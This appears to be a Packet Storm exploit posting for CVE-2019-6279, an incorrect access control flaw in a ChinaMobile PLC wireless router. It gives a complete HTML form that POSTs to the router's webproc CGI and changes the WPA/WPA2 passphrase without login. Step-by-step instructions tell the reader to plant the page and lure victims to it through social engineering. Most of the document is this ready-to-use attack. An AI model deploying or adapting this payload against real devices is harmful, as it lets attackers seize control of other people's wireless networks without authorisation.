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packetstormKumar SauravPACKETSTORM:151274
HistoryJan 22, 2019 - 12:00 a.m.

PLC Wireless Router GPN2.4P21-C-CN Incorrect Access Control

2019-01-2200:00:00
Kumar Saurav
packetstormsecurity.com
46

EPSS

0.027

Percentile

90.6%

`# Exploit Title: PLC Wireless Router GPN2.4P21-C-CN -Incorrect Access Control  
# Date: 15/01/2019  
# Exploit Author: Kumar Saurav  
# Vendor: ChinaMobile  
# Category: Hardware  
# Version: GPN2.4P21-C-CN (Firmware: W2001EN-00)  
# Tested on: Windows  
# CVE : CVE-2019-6279  
  
#Description: ChinaMobile PLC Wireless Router GPN2.4P21-C-CN devices with firmware  
W2001EN-00 have an Incorrect Access Control vulnerability via the cgi-bin/webproc?getpage=html/index.html  
subpage=wlsecurity URI, allowing an Attacker to change the Wireless Security Password.  
  
#Reproduction Steps:  
  
Step 1: Building a malicious html web page  
  
Step 2: Attacker's wants to change the wireless security (WPA/WPA2) key to "PSWDmatlo331#@!" (in my case)  
  
Step 3:  
<html>  
<body>  
<form method="POST" action="http://192.168.59.254:80/cgi-bin/webproc">  
<input type="text" name="sessionid" value="2a39a09e">  
<input type="text" name="language" value="en_us">  
<input type="text" name="sys_UserName" value="admin">  
<input type="text" name="var:menu" value="setup">  
<input type="text" name="var:page" value="wireless">  
<input type="text" name="var:subpage" value="wlsecurity">  
<input type="text" name="var:errorpage" value="wlsecurity">  
<input type="text" name="getpage" value="html/index.html">  
<input type="text" name="errorpage" value="html/index.html">  
<input type="text" name="var:arrayid" value="0">  
<input type="text" name="obj-action" value="set">  
<input type="text" name=":InternetGatewayDevice.LANDevice.1.WLANConfiguration.1.BeaconType" value="11i">  
<input type="text" name=":InternetGatewayDevice.LANDevice.1.WLANConfiguration.1.IEEE11iEncryptionModes" value="AESEncryption">  
<input type="text" name=":InternetGatewayDevice.LANDevice.1.WLANConfiguration.1.IEEE11iAuthenticationMode" value="PSKAuthentication">  
<input type="text" name=":InternetGatewayDevice.LANDevice.1.WLANConfiguration.1.X_TWSZ-COM_WPAGroupRekey" value="100">  
<input type="text" name=":InternetGatewayDevice.LANDevice.1.WLANConfiguration.1.PreSharedKey.1.KeyPassphrase" value="PSWDmatlo331#@!">  
<input type="text" name=":InternetGatewayDevice.LANDevice.1.WLANConfiguration.1.X_TWSZ-COM_PSKExpression" value="KeyPassphrase">  
<input type="submit" value="Send">  
</form>  
</body>  
</html>  
  
Step 4: save this as Incorrect_Access_Control.html  
  
Step 5: Planting this malicious web page (Incorrect_Access_Control.html) that are   
likely to be visited by the victim's (by social engineering) or any user connected in the Access Point (AP)  
will have to visit this page or any attacker connected in the AP will trigger this exploit  
  
Step 6: After execution of above exploit, wireless security (WPA/WPA2) key will change!!  
  
Note: This vulnerability allowing an attacker to reproduce without login.  
`

EPSS

0.027

Percentile

90.6%